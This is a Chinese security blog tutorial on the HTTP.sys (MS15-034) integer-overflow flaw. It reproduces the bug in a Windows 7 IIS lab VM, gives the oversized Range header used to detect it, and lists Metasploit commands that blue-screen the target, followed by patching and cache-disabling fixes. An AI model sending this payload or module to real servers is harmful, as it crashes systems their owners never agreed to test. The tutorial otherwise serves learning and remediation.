HTTP.sys远程代码执行漏洞分析+修复

0x00漏洞描述:

 HTTP.sys远程代码执行漏洞(可将Windows 7 及以下服务器打蓝屏),HTTP.sysMicrosoft Windows处理HTTP请求的内核驱动程序。在使用Microsoft IIS 6.0以上的版本的Microsoft Windows HTTP协议堆栈(HTTP.sys)中存在远程代码漏洞,该漏洞产生的原因是HTTP.sys的整数溢出,当攻击者向受影响的Windows系统发送特殊设计的HTTP 请求,HTTP.sys 未正确分析时就会导致此漏洞,成功利用漏洞者就可以远程在系统帐户的上下文中执行任意代码,或使服务器系统蓝屏崩溃。根据公告显示,该漏洞对服务器系统造成了不小的影响,主要影响了包括Windows 7Windows Server 2008 R2Windows 8Windows Server 2012Windows 8.1  Windows Server 2012 R2在内的主流服务器操作系统。

 

0x01漏洞危害:

可造成服务器蓝屏,极端情况下才能任意代码执行。

 

0x02 环境搭建:

复现步骤仅供参考

安装一个win7系统的虚拟机,然后启动IIS服务。

然后关闭防火墙,否则本机无法连接虚拟机的网站。

0x03 复现步骤:

 

1、在开始测试的之前,首先把浏览器的缓存清除,避免历史缓存干扰测试结果。这里以Chrome为例。

2、开启抓包工具(例如Burp Suite),然后访问被测试的网站,抓获请求数据包。

3、在请求数据包中添加Range字段,如下:

Range:bytes=0-18446744073709551615
 
提交给服务器,查看服务器响应。如果,服务器响应400,证明不存在HTTP.sys远程代码执行漏洞。如果响应416 Requested Range Not Satisfiabl,则证明系统存在漏洞。

除了使用BurpSuite可以复现,我们也可以直接用火狐浏览器进行复现。
页面右键,查看元素

另外简单说明一下Range字段值的含义。18446744073709551615转为十六进制是0xFFFFFFFFFFFFFFFF(16个F),是64位无符号整形所能表达的最大整数,所以这个“整数溢出”与这个异常的超大整数有关。
 
0x04 漏洞利用:
启动Kali,使用metasploit。
利用ms15-034漏洞进行ddos攻击


use auxiliary/dos/http/ms15_034_ulonglongadd 
set rhosts IP
set threads 10
run

攻击开始后,win7瞬间蓝屏然后自动重启,截图如下:

0x05 修复方案:

1.  及时打补丁

2.  禁用IIS内核缓存,但这可能会导致IIS性能下降

 

打开IIS管理器,在功能视图中选择【输出缓存】

输出缓存页中的操作窗格中,单击【编辑功能设置】

 

编辑输出缓存设置对话框中,将启用内核缓存取消勾选,然后单击确定

 

版权保护: 本文由蓝域安全网所发布,转载请保留本文链接: http://www.yemogege.cn/wzaq-stwz/501.html

免责声明:蓝域安全网所发布的一切渗透技术视频文章,逆向脱壳病毒分析教程,以及相关实用源码仅限用于学习和研究目的
请勿用于商业用途。如有侵权、不妥之处,请联系站长并出示版权证明以便删除! 

侵权删帖/违法举报/投稿等事物联系邮箱:yemogege@vip.qq.com 网站地图